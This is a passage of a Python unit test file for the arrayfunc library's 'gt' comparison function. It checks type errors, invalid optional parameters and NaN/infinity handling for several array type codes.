with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This version is expected to pass.
result = arrayfunc.gt(testval, data1)
data1 = copy.copy(self.data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(badval, data1)
########################################################
def test_gt_array_array_e1(self):
"""Test gt as *array-array* for incompatible second array - Array code Q.
"""
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This version is expected to pass.
result = arrayfunc.gt(data1, self.data2)
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(data1, self.badarray2)
########################################################
def test_gt_array_array_e2(self):
"""Test gt as *array-array* for incompatible first array - Array code Q.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.data1, self.data2)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.badarray1, self.data2)
########################################################
def test_gt_no_params_f1(self):
"""Test gt with no parameters - Array code Q.
"""
with self.assertRaises(TypeError):
result = arrayfunc.gt()
##############################################################################
##############################################################################
class gt_param_errors_opt_Q(unittest.TestCase):
"""Test for invalid errors and maxlen parameters. The errors does not
exist with these functions.
param_invalid_opt_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.inparray1a = array.array('Q', [6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6])
self.inparray1b = copy.copy(self.inparray1a)
self.inparray2a = array.array('Q', [5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5])
self.inparray2b = copy.copy(self.inparray2a)
self.testmaxlen = len(self.inparray1a) // 2
########################################################
def test_gt_array_num_a1(self):
"""Test gt as *array-num* for matherrors=True - Array code Q.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, inpvalue)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, inpvalue, matherrors=True)
########################################################
def test_gt_array_num_a2(self):
"""Test gt as *array-num* for maxlen='a' - Array code Q.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, inpvalue, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, inpvalue, maxlen='a')
########################################################
def test_gt_array_num_a3(self):
"""Test gt as *array-num* for nosimd='a' - Array code Q.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, inpvalue, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, inpvalue, nosimd='a')
########################################################
def test_gt_num_array_c1(self):
"""Test gt as *num-array* for matherrors=True - Array code Q.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(inpvalue, self.inparray1a)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(inpvalue, self.inparray1a, matherrors=True)
########################################################
def test_gt_num_array_c2(self):
"""Test gt as *num-array* for maxlen='a' - Array code Q.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(inpvalue, self.inparray1a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(inpvalue, self.inparray1a, maxlen='a')
########################################################
def test_gt_num_array_c3(self):
"""Test gt as *num-array* for nosimd='a' - Array code Q.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(inpvalue, self.inparray1a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(inpvalue, self.inparray1a, nosimd='a')
########################################################
def test_gt_array_array_e1(self):
"""Test gt as *array-array* for matherrors=True - Array code Q.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, self.inparray2a)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, self.inparray2a, matherrors=True)
########################################################
def test_gt_array_array_e2(self):
"""Test gt as *array-array* for maxlen='a' - Array code Q.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, self.inparray2a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, self.inparray2a, maxlen='a')
########################################################
def test_gt_array_array_e3(self):
"""Test gt as *array-array* for nosimd='a' - Array code Q.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, self.inparray2a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, self.inparray2a, nosimd='a')
##############################################################################
##############################################################################
class gt_numpos_f(unittest.TestCase):
"""Test with a single fail value in different array positions.
test_template_numpos
"""
########################################################
def setUp(self):
"""Initialise. The test data is generated from the script itself.
"""
self.testarraylen = 159
self.data1 = array.array('f', [6] * self.testarraylen)
self.testval1 = self.data1[0]
self.data1fail = array.array('f', list(self.data1))
self.data1fail[-1] = 5
self.data2 = array.array('f', [5] * self.testarraylen)
self.testval2 = self.data2[0]
self.data2fail = array.array('f', list(self.data2))
self.data2fail[-1] = 7
########################################################
def test_gt_numpos_array_num_a1(self):
"""Test gt as *array-num* for failing with different data positions in array - Array code f.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([x > self.testval2 for x in self.data1fail])
result = arrayfunc.gt(self.data1fail, self.testval2)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data1.append(self.data1.pop(0))
########################################################
def test_gt_numpos_num_array_b1(self):
"""Test gt as *num-array* for failing with different data positions in array - Array code f.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([self.testval1 > x for x in self.data2fail])
result = arrayfunc.gt(self.testval1, self.data2fail)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data2.append(self.data2.pop(0))
########################################################
def test_gt_numpos_array_array_c1(self):
"""Test gt as *array-array* for failing with different data positions in array 1 - Array code f.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([x > y for x,y in zip(self.data1fail, self.data2)])
result = arrayfunc.gt(self.data1fail, self.data2)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data1.append(self.data1.pop(0))
########################################################
def test_gt_numpos_array_array_c2(self):
"""Test gt as *array-array* for failing with different data positions in array 2 - Array code f.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([x > y for x,y in zip(self.data1, self.data2fail)])
result = arrayfunc.gt(self.data1, self.data2fail)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data2.append(self.data2.pop(0))
##############################################################################
##############################################################################
class gt_param_errors_f(unittest.TestCase):
"""Test for invalid array and numeric parameters.
param_invalid_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.data1 = array.array('f', [6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0])
self.data2 = array.array('f', [5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0])
# Create some array equivalents which are different than the correct ones.
self.badarray1 = array.array('i', [6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6])
self.badarray2 = array.array('i', [5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5])
########################################################
def test_gt_array_num_a1(self):
"""Test gt as *array-num* for incompatible array - Array code f.
"""
for testval in self.data2:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
result = arrayfunc.gt(data1, testval)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(badarray1, testval)
########################################################
def test_gt_array_num_a2(self):
"""Test gt as *array-num* for incompatible number - Array code f.
"""
for testval, badval in zip(self.data2, self.badarray2):
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This version is expected to pass.
result = arrayfunc.gt(data1, testval)
data1 = copy.copy(self.data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(data1, badval)
########################################################
def test_gt_num_array_c1(self):
"""Test gt as *num-array* for incompatible array - Array code f.
"""
for testval in self.data2:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
result = arrayfunc.gt(testval, data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(testval, badarray1)
########################################################
def test_gt_num_array_c2(self):
"""Test gt as *num-array* for incompatible number - Array code f.
"""
for testval, badval in zip(self.data2, self.badarray2):
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This version is expected to pass.
result = arrayfunc.gt(testval, data1)
data1 = copy.copy(self.data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(badval, data1)
########################################################
def test_gt_array_array_e1(self):
"""Test gt as *array-array* for incompatible second array - Array code f.
"""
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This version is expected to pass.
result = arrayfunc.gt(data1, self.data2)
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(data1, self.badarray2)
########################################################
def test_gt_array_array_e2(self):
"""Test gt as *array-array* for incompatible first array - Array code f.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.data1, self.data2)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.badarray1, self.data2)
########################################################
def test_gt_no_params_f1(self):
"""Test gt with no parameters - Array code f.
"""
with self.assertRaises(TypeError):
result = arrayfunc.gt()
##############################################################################
##############################################################################
class gt_param_errors_opt_f(unittest.TestCase):
"""Test for invalid errors and maxlen parameters. The errors does not
exist with these functions.
param_invalid_opt_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.inparray1a = array.array('f', [6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0])
self.inparray1b = copy.copy(self.inparray1a)
self.inparray2a = array.array('f', [5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0])
self.inparray2b = copy.copy(self.inparray2a)
self.testmaxlen = len(self.inparray1a) // 2
########################################################
def test_gt_array_num_a1(self):
"""Test gt as *array-num* for matherrors=True - Array code f.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, inpvalue)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, inpvalue, matherrors=True)
########################################################
def test_gt_array_num_a2(self):
"""Test gt as *array-num* for maxlen='a' - Array code f.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, inpvalue, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, inpvalue, maxlen='a')
########################################################
def test_gt_array_num_a3(self):
"""Test gt as *array-num* for nosimd='a' - Array code f.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, inpvalue, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, inpvalue, nosimd='a')
########################################################
def test_gt_num_array_c1(self):
"""Test gt as *num-array* for matherrors=True - Array code f.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(inpvalue, self.inparray1a)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(inpvalue, self.inparray1a, matherrors=True)
########################################################
def test_gt_num_array_c2(self):
"""Test gt as *num-array* for maxlen='a' - Array code f.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(inpvalue, self.inparray1a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(inpvalue, self.inparray1a, maxlen='a')
########################################################
def test_gt_num_array_c3(self):
"""Test gt as *num-array* for nosimd='a' - Array code f.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(inpvalue, self.inparray1a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(inpvalue, self.inparray1a, nosimd='a')
########################################################
def test_gt_array_array_e1(self):
"""Test gt as *array-array* for matherrors=True - Array code f.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, self.inparray2a)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, self.inparray2a, matherrors=True)
########################################################
def test_gt_array_array_e2(self):
"""Test gt as *array-array* for maxlen='a' - Array code f.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, self.inparray2a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, self.inparray2a, maxlen='a')
########################################################
def test_gt_array_array_e3(self):
"""Test gt as *array-array* for nosimd='a' - Array code f.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, self.inparray2a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, self.inparray2a, nosimd='a')
##############################################################################
##############################################################################
class gt_errors_nf_f(unittest.TestCase):
"""Test for basic general function operation using parameter NaN, inf, and -inf.
nan_data_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.testvalue = 10.5
self.testdata = array.array('f', [self.testvalue] * 20)
self.nanvalue = math.nan
self.infvalue = math.inf
self.ninfvalue = -math.inf
self.nandata = array.array('f', [float(self.nanvalue)] * len(self.testdata))
self.infdata = array.array('f', [float(self.infvalue)] * len(self.testdata))
self.ninfdata = array.array('f', [float(self.ninfvalue)] * len(self.testdata))
########################################################
def test_gt_nan_data_array_num_a1(self):
"""Test gt as *array-num* for NaN value - Array code f.
"""
expected = all([x > self.nanvalue for x in self.testdata])
result = arrayfunc.gt(self.testdata, self.nanvalue)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_nan_data_array_num_a2(self):
"""Test gt as *array-num* for NaN array - Array code f.
"""
expected = all([x > self.testvalue for x in self.nandata])
result = arrayfunc.gt(self.nandata, self.testvalue)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_nan_data_num_array_a3(self):
"""Test gt as *num-array* for NaN value - Array code f.
"""
expected = all([self.nanvalue > x for x in self.testdata])
result = arrayfunc.gt(self.nanvalue, self.testdata)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_nan_data_num_array_a4(self):
"""Test gt as *num-array* for NaN array - Array code f.
"""
expected = all([self.testvalue > x for x in self.nandata])
result = arrayfunc.gt(self.testvalue, self.nandata)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_nan_data_array_array_a5(self):
"""Test gt as *array-array* for NaN array 1 - Array code f.
"""
expected = all([x > y for (x,y) in zip(self.nandata, self.testdata)])
result = arrayfunc.gt(self.nandata, self.testdata)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_nan_data_array_array_a6(self):
"""Test gt as *array-array* for NaN array 2 - Array code f.
"""
expected = all([x > y for (x,y) in zip(self.testdata, self.nandata)])
result = arrayfunc.gt(self.testdata, self.nandata)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_nan_data_array_num_b1(self):
"""Test gt as *array-num* for inf value - Array code f.
"""
expected = all([x > self.infvalue for x in self.testdata])
result = arrayfunc.gt(self.testdata, self.infvalue)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_nan_data_array_num_b2(self):
"""Test gt as *array-num* for inf array - Array code f.
"""
expected = all([x > self.testvalue for x in self.infdata])
result = arrayfunc.gt(self.infdata, self.testvalue)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_nan_data_num_array_b3(self):
"""Test gt as *num-array* for inf value - Array code f.
"""
expected = all([self.infvalue > x for x in self.testdata])
result = arrayfunc.gt(self.infvalue, self.testdata)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_nan_data_num_array_b4(self):
"""Test gt as *num-array* for inf array - Array code f.
"""
expected = all([self.testvalue > x for x in self.infdata])
result = arrayfunc.gt(self.testvalue, self.infdata)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_nan_data_array_array_b5(self):
"""Test gt as *array-array* for inf array 1 - Array code f.
"""
expected = all([x > y for (x,y) in zip(self.infdata, self.testdata)])
result = arrayfunc.gt(self.infdata, self.testdata)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_nan_data_array_array_b6(self):
"""Test gt as *array-array* for inf array 2 - Array code f.
"""
expected = all([x > y for (x,y) in zip(self.testdata, self.infdata)])
result = arrayfunc.gt(self.testdata, self.infdata)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_nan_data_array_num_c1(self):
"""Test gt as *array-num* for -inf value - Array code f.
"""
expected = all([x > self.ninfvalue for x in self.testdata])
result = arrayfunc.gt(self.testdata, self.ninfvalue)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_nan_data_array_num_c2(self):
"""Test gt as *array-num* for -inf array - Array code f.
"""
expected = all([x > self.testvalue for x in self.ninfdata])
result = arrayfunc.gt(self.ninfdata, self.testvalue)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_nan_data_num_array_c3(self):
"""Test gt as *num-array* for -inf value - Array code f.
"""
expected = all([self.ninfvalue > x for x in self.testdata])
result = arrayfunc.gt(self.ninfvalue, self.testdata)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_nan_data_num_array_c4(self):
"""Test gt as *num-array* for -inf array - Array code f.
"""
expected = all([self.testvalue > x for x in self.ninfdata])
result = arrayfunc.gt(self.testvalue, self.ninfdata)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_nan_data_array_array_c5(self):
"""Test gt as *array-array* for -inf array 1 - Array code f.
"""
expected = all([x > y for (x,y) in zip(self.ninfdata, self.testdata)])
result = arrayfunc.gt(self.ninfdata, self.testdata)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_nan_data_array_array_c6(self):
"""Test gt as *array-array* for -inf array 2 - Array code f.
"""
expected = all([x > y for (x,y) in zip(self.testdata, self.ninfdata)])
result = arrayfunc.gt(self.testdata, self.ninfdata)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_numpos_d(unittest.TestCase):
"""Test with a single fail value in different array positions.
test_template_numpos
"""
########################################################
def setUp(self):
"""Initialise. The test data is generated from the script itself.
"""
self.testarraylen = 159
self.data1 = array.array('d', [6] * self.testarraylen)
self.testval1 = self.data1[0]
self.data1fail = array.array('d', list(self.data1))
self.data1fail[-1] = 5
self.data2 = array.array('d', [5] * self.testarraylen)
self.testval2 = self.data2[0]
self.data2fail = array.array('d', list(self.data2))
self.data2fail[-1] = 7
########################################################
def test_gt_numpos_array_num_a1(self):
"""Test gt as *array-num* for failing with different data positions in array - Array code d.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([x > self.testval2 for x in self.data1fail])
result = arrayfunc.gt(self.data1fail, self.testval2)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data1.append(self.data1.pop(0))
########################################################
def test_gt_numpos_num_array_b1(self):
"""Test gt as *num-array* for failing with different data positions in array - Array code d.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([self.testval1 > x for x in self.data2fail])
result = arrayfunc.gt(self.testval1, self.data2fail)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data2.append(self.data2.pop(0))
########################################################
def test_gt_numpos_array_array_c1(self):
"""Test gt as *array-array* for failing with different data positions in array 1 - Array code d.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([x > y for x,y in zip(self.data1fail, self.data2)])
result = arrayfunc.gt(self.data1fail, self.data2)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data1.append(self.data1.pop(0))
########################################################
def test_gt_numpos_array_array_c2(self):
"""Test gt as *array-array* for failing with different data positions in array 2 - Array code d.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([x > y for x,y in zip(self.data1, self.data2fail)])
result = arrayfunc.gt(self.data1, self.data2fail)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data2.append(self.data2.pop(0))
##############################################################################
##############################################################################
class gt_param_errors_d(unittest.TestCase):
"""Test for invalid array and numeric parameters.
param_invalid_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.data1 = array.array('d', [6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0])
self.data2 = array.array('d', [5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0])
# Create some array equivalents which are different than the correct ones.
self.badarray1 = array.array('i', [6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6])
self.badarray2 = array.array('i', [5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5])
########################################################
def test_gt_array_num_a1(self):
"""Test gt as *array-num* for incompatible array - Array code d.
"""
for testval in self.data2:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
result = arrayfunc.gt(data1, testval)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(badarray1, testval)
########################################################
def test_gt_array_num_a2(self):
"""Test gt as *array-num* for incompatible number - Array code d.
"""
for testval, badval in zip(self.data2, self.badarray2):
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This version is expected to pass.
result = arrayfunc.gt(data1, testval)
data1 = copy.copy(self.data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(data1, badval)
########################################################
def test_gt_num_array_c1(self):
"""Test gt as *num-array* for incompatible array - Array code d.
"""
for testval in self.data2:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
result = arrayfunc.gt(testval, data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(testval, badarray1)
########################################################
def test_gt_num_array_c2(self):
"""Test gt as *num-array* for incompatible number - Array code d.
"""
for testval, badval in zip(self.data2, self.badarray2):
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This version is expected to pass.
result = arrayfunc.gt(testval, data1)
data1 = copy.copy(self.data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(badval, data1)
########################################################
def test_gt_array_array_e1(self):
"""Test gt as *array-array* for incompatible second array - Array code d.
"""
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This version is expected to pass.
result = arrayfunc.gt(data1, self.data2)
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(data1, self.badarray2)
########################################################
def test_gt_array_array_e2(self):
"""Test gt as *array-array* for incompatible first array - Array code d.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.data1, self.data2)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.badarray1, self.data2)
########################################################
def test_gt_no_params_f1(self):
"""Test gt with no parameters - Array code d.
"""
with self.assertRaises(TypeError):
result = arrayfunc.gt()
##############################################################################
##############################################################################
class gt_param_errors_opt_d(unittest.TestCase):
"""Test for invalid errors and maxlen parameters. The errors does not
exist with these functions.
param_invalid_opt_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.inparray1a = array.array('d', [6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0])
self.inparray1b = copy.copy(self.inparray1a)
self.inparray2a = array.array('d', [5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0])
self.inparray2b = copy.copy(self.inparray2a)
self.testmaxlen = len(self.inparray1a) // 2
########################################################
def test_gt_array_num_a1(self):
"""Test gt as *array-num* for matherrors=True - Array code d.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, inpvalue)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, inpvalue, matherrors=True)
########################################################
def test_gt_array_num_a2(self):
"""Test gt as *array-num* for maxlen='a' - Array code d.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, inpvalue, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, inpvalue, maxlen='a')
########################################################
def test_gt_array_num_a3(self):
"""Test gt as *array-num* for nosimd='a' - Array code d.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, inpvalue, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, inpvalue, nosimd='a')
########################################################
def test_gt_num_array_c1(self):
"""Test gt as *num-array* for matherrors=True - Array code d.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(inpvalue, self.inparray1a)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(inpvalue, self.inparray1a, matherrors=True)
########################################################
def test_gt_num_array_c2(self):
"""Test gt as *num-array* for maxlen='a' - Array code d.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(inpvalue, self.inparray1a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(inpvalue, self.inparray1a, maxlen='a')
########################################################
def test_gt_num_array_c3(self):
"""Test gt as *num-array* for nosimd='a' - Array code d.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(inpvalue, self.inparray1a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(inpvalue, self.inparray1a, nosimd='a')
########################################################
def test_gt_array_array_e1(self):
"""Test gt as *array-array* for matherrors=True - Array code d.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, self.inparray2a)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, self.inparray2a, matherrors=True)
########################################################
def test_gt_array_array_e2(self):
"""Test gt as *array-array* for maxlen='a' - Array code d.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, self.inparray2a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, self.inparray2a, maxlen='a')
########################################################
def test_gt_array_array_e3(self):
"""Test gt as *array-array* for nosimd='a' - Array code d.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, self.inparray2a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, self.inparray2a, nosimd='a')
##############################################################################
##############################################################################
class gt_errors_nf_d(unittest.TestCase):
"""Test for basic general function operation using parameter NaN, inf, and -inf.
nan_data_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.testvalue = 10.5
self.testdata = array.array('d', [self.testvalue] * 20)
self.nanvalue = math.nan
self.infvalue = math.inf
self.ninfvalue = -math.inf
self.nandata = array.array('d', [float(self.nanvalue)] * len(self.testdata))
self.infdata = array.array('d', [float(self.infvalue)] * len(self.testdata))
self.ninfdata = array.array('d', [float(self.ninfvalue)] * len(self.testdata))
########################################################
def test_gt_nan_data_array_num_a1(self):
"""Test gt as *array-num* for NaN value - Array code d.
"""
expected = all([x > self.nanvalue for x in self.testdata])
result = arrayfunc.gt(self.testdata, self.nanvalue)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_nan_data_array_num_a2(self):
"""Test gt as *array-num* for NaN array - Array code d.
"""
expected = all([x > self.testvalue for x in self.nandata])
result = arrayfunc.gt(self.nandata, self.testvalue)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
